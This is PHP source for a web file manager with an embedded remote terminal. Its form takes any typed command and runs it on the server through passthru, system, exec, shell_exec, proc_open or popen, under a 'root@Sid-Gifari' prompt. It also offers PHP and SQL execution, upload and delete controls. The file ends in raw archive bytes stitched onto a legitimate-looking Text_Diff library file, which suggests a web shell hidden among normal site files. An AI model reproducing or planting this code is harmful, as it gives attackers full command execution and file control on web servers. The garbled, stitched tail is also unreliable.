		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Engine.zip                                                                                          0000644                 00000077134 15217301643 0006513 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
